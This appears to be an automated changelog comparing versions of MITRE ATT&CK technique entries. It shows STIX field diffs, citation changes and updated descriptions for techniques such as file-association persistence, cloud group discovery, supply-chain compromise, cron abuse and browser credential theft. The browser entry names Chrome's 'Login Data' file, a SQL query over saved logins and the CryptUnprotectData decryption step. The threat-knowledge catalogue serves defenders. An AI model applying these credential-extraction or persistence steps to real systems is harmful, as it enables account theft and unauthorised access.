| or example: * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\co | | or example: * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\c |
| mmand</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\c | | ommand</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\ |
| ommand</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\printt | | command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print |
| o\command</code> The values of the keys listed are commands | | to\command</code> The values of the keys listed are command |
| that are executed when the handler opens the file extension | | s that are executed when the handler opens the file extensio |
| . Adversaries can modify these values to continually execute | | n. Adversaries can modify these values to continually execut |
| arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2 | | e arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2 |
| 012) | | 012) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016. |
| external_references | | CAPEC-556 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-556 | |
| external_references | Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-01-24 13:40:47.282000+00:00 | 2022-04-20 16:55:49.219000+00:00 |
| description | Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example:
* HKEY_CLASSES_ROOT\txtfile\shell\open\command
* HKEY_CLASSES_ROOT\txtfile\shell\print\command
* HKEY_CLASSES_ROOT\txtfile\shell\printto\command
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012) | Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\shell\\[action]\command. For example:
* HKEY_CLASSES_ROOT\txtfile\shell\open\command
* HKEY_CLASSES_ROOT\txtfile\shell\print\command
* HKEY_CLASSES_ROOT\txtfile\shell\printto\command
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012) |
| external_references[1]['source_name'] | capec | Microsoft Change Default Programs |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/556.html | https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs |
| external_references[2]['source_name'] | Microsoft Change Default Programs | Microsoft File Handlers |
| external_references[2]['description'] | Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016. | Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014. |
| external_references[2]['url'] | https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs | http://msdn.microsoft.com/en-us/library/bb166549.aspx |
| external_references[3]['source_name'] | Microsoft File Handlers | Microsoft Assoc Oct 2017 |
| external_references[3]['description'] | Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014. | Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018. |
| external_references[3]['url'] | http://msdn.microsoft.com/en-us/library/bb166549.aspx | https://docs.microsoft.com/windows-server/administration/windows-commands/assoc |
| external_references[4]['source_name'] | Microsoft Assoc Oct 2017 | TrendMicro TROJ-FAKEAV OCT 2012 |
| external_references[4]['description'] | Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018. | Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018. |
| external_references[4]['url'] | https://docs.microsoft.com/windows-server/administration/windows-commands/assoc | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd |
| external_references[5]['source_name'] | TrendMicro TROJ-FAKEAV OCT 2012 | capec |
| external_references[5]['url'] | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd | https://capec.mitre.org/data/definitions/556.html |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Command: Command Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
[T1069.003] Permission Groups Discovery: Cloud Groups
Current version: 1.3
|
|
|---|
| t | Adversaries may attempt to find cloud groups and permission | t | Adversaries may attempt to find cloud groups and permission |
| settings. The knowledge of cloud permission groups can help | | settings. The knowledge of cloud permission groups can help |
| adversaries determine the particular roles of users and grou | | adversaries determine the particular roles of users and grou |
| ps within an environment, as well as which users are associa | | ps within an environment, as well as which users are associa |
| ted with a particular group. With authenticated access ther | | ted with a particular group. With authenticated access ther |
| e are several tools that can be used to find permissions gro | | e are several tools that can be used to find permissions gro |
| ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be |
| used to obtain roles and permissions groups for Exchange and | | used to obtain roles and permissions groups for Exchange and |
| Office 365 accounts (Citation: Microsoft Msolrole)(Citation | | Office 365 accounts (Citation: Microsoft Msolrole)(Citation |
| : GitHub Raindance). Azure CLI (AZ CLI) and the Google Clou | | : GitHub Raindance). Azure CLI (AZ CLI) and the Google Clou |
| d Identity Provider API also provide interfaces to obtain pe | | d Identity Provider API also provide interfaces to obtain pe |
| rmissions groups. The command <code>az ad user get-member-gr | | rmissions groups. The command <code>az ad user get-member-gr |
| oups</code> will list groups associated to a user account fo | | oups</code> will list groups associated to a user account fo |
| r Azure while the API endpoint <code>GET https://cloudidenti | | r Azure while the API endpoint <code>GET https://cloudidenti |
| ty.googleapis.com/v1/groups</code> lists group resources ava | | ty.googleapis.com/v1/groups</code> lists group resources ava |
| ilable to a user for Google (Citation: Microsoft AZ CLI)(Cit | | ilable to a user for Google.(Citation: Microsoft AZ CLI)(Cit |
| ation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: | | ation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: |
| Google Cloud Identity API Documentation). Adversaries may a | | Google Cloud Identity API Documentation) Adversaries may at |
| ttempt to list ACLs for objects to determine the owner and o | | tempt to list ACLs for objects to determine the owner and ot |
| ther accounts with access to the object, for example, via th | | her accounts with access to the object, for example, via the |
| e AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucke | | AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket |
| t ACL). Using this information an adversary can target accou | | ACL). Using this information an adversary can target accoun |
| nts with permissions to a given object or leverage accounts | | ts with permissions to a given object or leverage accounts t |
| they have already compromised to access the object. | | hey have already compromised to access the object. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-06-25 12:13:37.940000+00:00 | 2022-04-19 02:44:58.838000+00:00 |
| description | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).
Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)
Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. |
| external_references[1]['source_name'] | Microsoft Msolrole | AWS Get Bucket ACL |
| external_references[1]['description'] | Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019. | Amazon Web Services. (n.d.). Retrieved May 28, 2021. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0 | https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html |
| external_references[2]['source_name'] | GitHub Raindance | Black Hills Red Teaming MS AD Azure, 2018 |
| external_references[2]['description'] | Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019. | Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019. |
| external_references[2]['url'] | https://github.com/True-Demon/raindance | https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ |
| external_references[3]['source_name'] | Microsoft AZ CLI | Google Cloud Identity API Documentation |
| external_references[3]['description'] | Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. | Google. (n.d.). Retrieved March 16, 2021. |
| external_references[3]['url'] | https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest | https://cloud.google.com/identity/docs/reference/rest |
| external_references[4]['source_name'] | Black Hills Red Teaming MS AD Azure, 2018 | Microsoft AZ CLI |
| external_references[4]['description'] | Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019. | Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. |
| external_references[4]['url'] | https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ | https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest |
| external_references[5]['source_name'] | Google Cloud Identity API Documentation | Microsoft Msolrole |
| external_references[5]['description'] | Google. (n.d.). Retrieved March 16, 2021. | Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019. |
| external_references[5]['url'] | https://cloud.google.com/identity/docs/reference/rest | https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0 |
| external_references[6]['source_name'] | AWS Get Bucket ACL | GitHub Raindance |
| external_references[6]['description'] | Amazon Web Services. (n.d.). Retrieved May 28, 2021. | Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019. |
| external_references[6]['url'] | https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html | https://github.com/True-Demon/raindance |
| x_mitre_contributors[1] | Isif Ibrahima | Isif Ibrahima, Mandiant |
| x_mitre_data_sources[0] | Process: Process Creation | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Command: Command Execution | Group: Group Metadata |
| x_mitre_data_sources[3] | Group: Group Metadata | Command: Command Execution |
| x_mitre_data_sources[4] | Application Log: Application Log Content | Process: Process Creation |
[T1619] Cloud Storage Object Discovery
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-07 18:19:25.352000+00:00 | 2022-04-11 22:29:43.677000+00:00 |
| x_mitre_contributors[1] | Isif Ibrahima | Isif Ibrahima, Mandiant |
| x_mitre_data_sources[0] | Cloud Storage: Cloud Storage Enumeration | Cloud Storage: Cloud Storage Access |
| x_mitre_data_sources[1] | Cloud Storage: Cloud Storage Access | Cloud Storage: Cloud Storage Enumeration |
[T1195.001] Supply Chain Compromise: Compromise Software Dependencies and Development Tools
Current version: 1.0
|
|
|---|
| t | Adversaries may manipulate software dependencies and develop | t | Adversaries may manipulate software dependencies and develop |
| ment tools prior to receipt by a final consumer for the purp | | ment tools prior to receipt by a final consumer for the purp |
| ose of data or system compromise. Applications often depend | | ose of data or system compromise. Applications often depend |
| on external software to function properly. Popular open sour | | on external software to function properly. Popular open sour |
| ce projects that are used as dependencies in many applicatio | | ce projects that are used as dependencies in many applicatio |
| ns may be targeted as a means to add malicious code to users | | ns may be targeted as a means to add malicious code to users |
| of the dependency. (Citation: Trendmicro NPM Compromise) | | of the dependency.(Citation: Trendmicro NPM Compromise) |
| Targeting may be specific to a desired victim set or may be | | Targeting may be specific to a desired victim set or may be |
| distributed to a broad set of consumers but only move on to | | distributed to a broad set of consumers but only move on to |
| additional tactics on specific victims. | | additional tactics on specific victims. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-11 14:13:42.916000+00:00 | 2022-04-19 20:10:09.368000+00:00 |
| description | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)
Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)
Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. |
[T1195.002] Supply Chain Compromise: Compromise Software Supply Chain
Current version: 1.0
|
|
|---|
| t | Adversaries may manipulate application software prior to rec | t | Adversaries may manipulate application software prior to rec |
| eipt by a final consumer for the purpose of data or system c | | eipt by a final consumer for the purpose of data or system c |
| ompromise. Supply chain compromise of software can take plac | | ompromise. Supply chain compromise of software can take plac |
| e in a number of ways, including manipulation of the applica | | e in a number of ways, including manipulation of the applica |
| tion source code, manipulation of the update/distribution me | | tion source code, manipulation of the update/distribution me |
| chanism for that software, or replacing compiled releases wi | | chanism for that software, or replacing compiled releases wi |
| th a modified version. Targeting may be specific to a desir | | th a modified version. Targeting may be specific to a desir |
| ed victim set or may be distributed to a broad set of consum | | ed victim set or may be distributed to a broad set of consum |
| ers but only move on to additional tactics on specific victi | | ers but only move on to additional tactics on specific victi |
| ms.(Citation: Avast CCleaner3 2018) (Citation: Command Five | | ms.(Citation: Avast CCleaner3 2018)(Citation: Command Five S |
| SK 2011) | | K 2011) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-11 14:17:21.153000+00:00 | 2022-04-19 20:10:59.465000+00:00 |
| description | Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.
Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) | Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.
Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) |
[T1555] Credentials from Password Stores
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-06-21 17:58:03.788000+00:00 | 2022-04-01 18:25:13.952000+00:00 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Command: Command Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
[T1555.003] Credentials from Password Stores: Credentials from Web Browsers
Current version: 1.1
|
|
|---|
| t | Adversaries may acquire credentials from web browsers by rea | t | Adversaries may acquire credentials from web browsers by rea |
| ding files specific to the target browser.(Citation: Talos O | | ding files specific to the target browser.(Citation: Talos O |
| lympic Destroyer 2018) Web browsers commonly save credential | | lympic Destroyer 2018) Web browsers commonly save credential |
| s such as website usernames and passwords so that they do no | | s such as website usernames and passwords so that they do no |
| t need to be entered manually in the future. Web browsers ty | | t need to be entered manually in the future. Web browsers ty |
| pically store the credentials in an encrypted format within | | pically store the credentials in an encrypted format within |
| a credential store; however, methods exist to extract plaint | | a credential store; however, methods exist to extract plaint |
| ext credentials from web browsers. For example, on Windows | | ext credentials from web browsers. For example, on Windows |
| systems, encrypted credentials may be obtained from Google C | | systems, encrypted credentials may be obtained from Google C |
| hrome by reading a database file, <code>AppData\Local\Google | | hrome by reading a database file, <code>AppData\Local\Google |
| \Chrome\User Data\Default\Login Data</code> and executing a | | \Chrome\User Data\Default\Login Data</code> and executing a |
| SQL query: <code>SELECT action_url, username_value, password | | SQL query: <code>SELECT action_url, username_value, password |
| _value FROM logins;</code>. The plaintext password can then | | _value FROM logins;</code>. The plaintext password can then |
| be obtained by passing the encrypted credentials to the Wind | | be obtained by passing the encrypted credentials to the Wind |
| ows API function <code>CryptUnprotectData</code>, which uses | | ows API function <code>CryptUnprotectData</code>, which uses |
| the victim’s cached logon credentials as the decryption key | | the victim’s cached logon credentials as the decryption key |
| . (Citation: Microsoft CryptUnprotectData April 2018) Adve | | .(Citation: Microsoft CryptUnprotectData April 2018) Adver |
| rsaries have executed similar procedures for common web brow | | saries have executed similar procedures for common web brows |
| sers such as FireFox, Safari, Edge, etc.(Citation: Proofpoin | | ers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint |
| t Vega Credential Stealer May 2018)(Citation: FireEye HawkEy | | Vega Credential Stealer May 2018)(Citation: FireEye HawkEye |
| e Malware July 2017) Windows stores Internet Explorer and Mi | | Malware July 2017) Windows stores Internet Explorer and Mic |
| crosoft Edge credentials in Credential Lockers managed by th | | rosoft Edge credentials in Credential Lockers managed by the |
| e [Windows Credential Manager](https://attack.mitre.org/tech | | [Windows Credential Manager](https://attack.mitre.org/techn |
| niques/T1555/004). Adversaries may also acquire credentials | | iques/T1555/004). Adversaries may also acquire credentials |
| by searching web browser process memory for patterns that c | | by searching web browser process memory for patterns that co |
| ommonly match credentials.(Citation: GitHub Mimikittenz July | | mmonly match credentials.(Citation: GitHub Mimikittenz July |
| 2016) After acquiring credentials from web browsers, adver | | 2016) After acquiring credentials from web browsers, advers |
| saries may attempt to recycle the credentials across differe | | aries may attempt to recycle the credentials across differen |
| nt systems and/or accounts in order to expand access. This c | | t systems and/or accounts in order to expand access. This ca |
| an result in significantly furthering an adversary's objecti | | n result in significantly furthering an adversary's objectiv |
| ve in cases where credentials gained from web browsers overl | | e in cases where credentials gained from web browsers overla |
| ap with privileged accounts (e.g. domain administrator). | | p with privileged accounts (e.g. domain administrator). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-14 14:03:47.293000+00:00 | 2022-02-15 19:29:57.405000+00:00 |
| description | Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). | Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Process: Process Access |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Process: Process Access | |
[T1053.003] Scheduled Task/Job: Cron
Current version: 1.1
|
|
|---|
| t | Adversaries may abuse the <code>cron</code> utility to perfo | t | Adversaries may abuse the <code>cron</code> utility to perfo |
| rm task scheduling for initial or recurring execution of mal | | rm task scheduling for initial or recurring execution of mal |
| icious code.(Citation: 20 macOS Common Tools and Techniques) | | icious code.(Citation: 20 macOS Common Tools and Techniques) |
| The <code>cron</code> utility is a time-based job scheduler | | The <code>cron</code> utility is a time-based job scheduler |
| for Unix-like operating systems. The <code> crontab</code> | | for Unix-like operating systems. The <code> crontab</code> |
| file contains the schedule of cron entries to be run and th | | file contains the schedule of cron entries to be run and th |
| e specified times for execution. Any <code>crontab</code> fi | | e specified times for execution. Any <code>crontab</code> fi |
| les are stored in operating system-specific file paths. An | | les are stored in operating system-specific file paths. An |
| adversary may use <code>cron</code> in Linux or Unix environ | | adversary may use <code>cron</code> in Linux or Unix environ |
| ments to execute programs at system startup or on a schedule | | ments to execute programs at system startup or on a schedule |
| d basis for persistence. | | d basis for [Persistence](https://attack.mitre.org/tactics/T |
| | | A0003). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_remote_support | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-23 15:29:36.918000+00:00 | 2022-03-24 17:33:03.443000+00:00 |
| description | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Command: Command Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
[T1602] Data from Configuration Repository
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-22 02:26:44.566000+00:00 | 2022-04-19 21:32:58.274000+00:00 |
| external_references[1]['source_name'] | US-CERT-TA18-106A | Cisco Advisory SNMP v3 Authentication Vulnerabilities |
| external_references[1]['description'] | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. | Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020. |
| external_references[1]['url'] | https://www.us-cert.gov/ncas/alerts/TA18-106A | https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3 |
| external_references[3]['source_name'] | Cisco Advisory SNMP v3 Authentication Vulnerabilities | US-CERT-TA18-106A |
| external_references[3]['description'] | Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020. | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. |
| external_references[3]['url'] | https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3 | https://www.us-cert.gov/ncas/alerts/TA18-106A |
| x_mitre_data_sources[0] | Network Traffic: Network Connection Creation | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Content | Network Traffic: Network Connection Creation |
[T1213] Data from Information Repositories
Current version: 3.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
